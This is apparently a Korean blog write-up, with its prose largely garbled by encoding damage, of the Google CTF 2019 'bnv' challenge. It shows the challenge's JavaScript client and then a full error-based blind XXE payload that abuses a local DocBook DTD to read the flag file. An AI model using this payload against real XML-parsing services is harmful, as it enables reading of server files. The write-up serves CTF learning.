[Google CTF 2019] bnv
์ ํํ City๋ฅผ ํน์ ํ ๋ฐฉ์์ผ๋ก ์ธ์ฝ๋ฉํ์ฌ JSON์ผ๋ก ์ ์กํ๋ค.
function AjaxFormPost() {
var datasend;
var message = document.getElementById('message').value;
message = message.toLowerCase();
var blindvalues = [
'10', '120', '140', '1450', '150', '1240', '12450',
'1250', '240', '2450', '130', '1230', '1340', '13450',
'1350', '12340', '123450', '12350', '2340', '23450', '1360',
'12360', '24560', '13460', '134560', '13560',
];
var blindmap = new Map();
var i;
var message_new = '';
for (i = 0; i < blindvalues.length; i++) {
blindmap[i + 97] = blindvalues[i];
}
for (i = 0; i < message.length; i++) {
message_new += blindmap[(message[i].charCodeAt(0))];
}
datasend = JSON.stringify({
'message': message_new,
});
var url = '/api/search';
xhr = new XMLHttpRequest();
xhr.open('POST', url, true);
xhr.setRequestHeader('Content-type', 'application/json');
xhr.onreadystatechange =
function() {
if (xhr.readyState == 4 && xhr.status == 200) {
console.log(xhr.getResponseHeader('Content-Type'));
if (xhr.getResponseHeader('Content-Type') == "application/json; charset=utf-8") {
try {
var json = JSON.parse(xhr.responseText);
document.getElementById('database-data').value = json['ValueSearch'];
}
catch(e) {;
document.getElementById('database-data').value = e.message;
}
}
else {
document.getElementById('database-data').value = xhr.responseText;
}
}
}
xhr.send(datasend);
}
์ ํํ City๋ ์์ ๊ณผ์ ์ ํตํด ์ซ์ํ์์ผ๋ก ์ธ์ฝ๋ฉ๋๊ณ application/json ํ์์ผ๋ก /api/search๋ก ์ ์ก์ด๋๋ค.
์ฌ๋ฌ๊ฐ์ง ๋ฌธ์๋ค์ ์ฝ์
ํด๋ณด์์ง๋ง ๊ทธ๋ฅ ๋ฌด์ํ๋๊ฑฐ ๊ฐ์๋ค.
Json ํ์ ๋ง๊ณ XML ํ์์ผ๋ก ์ ์ก์ ์๋ํด๋ณด๋ XML ์ค๋ฅ๊ฐ ๋ฐ์ํ์๋ค. XMLํ์์ ๋ฐ์ดํฐ๋ ๋ฐ๋๋ค.
๋จผ์ XML ํ์์ผ๋ก ์ ์์ ์ธ ์์ฒญ์ ์๋ํด๋ณด๋ ์ ์์ ์ผ๋ก ์๋ต์ด ์๋ค.
์ด์ XXE๋ฅผ ์๋ํด๋ณด์๋ค.
์กด์ฌํ์ง ์๊ฑฐ๋ ์ด์ํ ์์ฒญ์ ํ๋ฉด ์๋์ฒ๋ผ ์๋ต์ด ์๋ค.
๊ทธ๋์ ์ผ๋จ ํด๋น ํ์ผ์ด ์กด์ฌํ๋์ง๋ ํ๋ณ ํ ์ ์๋๊ฒ ๊ฐ์์ ๋จผ์ flag๋ฅผ ์ฐพ์๋ณด์๋ค.
์์ ์์ฒญ์ผ๋ก No Result๋ก ์๋ต์ด ์๋ค. flagํ์ผ์ ์ฝ์ผ๋ฉด ๋ฌธ์ ๊ฐ ํ๋ฆฐ๋ค. ํ์ง๋ง ์์ ์๋ํ๋ ๋ฐฉ๋ฒ์ผ๋ก๋ flagํ์ผ์ ์ถ๋ ฅํ ์๊ฐ ์์๋ค.
GG ์น๊ณ ๋ต์ ์ฐพ์๋ดค๋ค.
Local DTD ํ์ผ์ ์ด์ฉํ Bilnde XXE ์ทจ์ฝ์ ์ด๋ค.
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;' >">
%eval;
%error;
'>
%local_dtd;
]>
ํด๋น XML ๊ตฌ๋ฌธ์ ์ด์ฉํด flagํ์ผ์ ์ฝ์ผ๋ฉด ์ ์์ ์ผ๋ก ํ๋๊ทธ๊ฐ ์ถ๋ ฅ์ด๋์๋ค.
์ฐธ๊ณ
https://portswigger.net/web-security/xxe/blind
https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/
๋๊ธ
์ด ๊ธ ๊ณต์ ํ๊ธฐ
-
๊ตฌ๋
ํ๊ธฐ
๊ตฌ๋ ํ๊ธฐ
-
์นด์นด์คํก
์นด์นด์คํก
-
๋ผ์ธ
๋ผ์ธ
-
ํธ์ํฐ
ํธ์ํฐ
-
Facebook
Facebook
-
์นด์นด์ค์คํ ๋ฆฌ
์นด์นด์ค์คํ ๋ฆฌ
-
๋ฐด๋
๋ฐด๋
-
๋ค์ด๋ฒ ๋ธ๋ก๊ทธ
๋ค์ด๋ฒ ๋ธ๋ก๊ทธ
-
Pocket
Pocket
-
Evernote
Evernote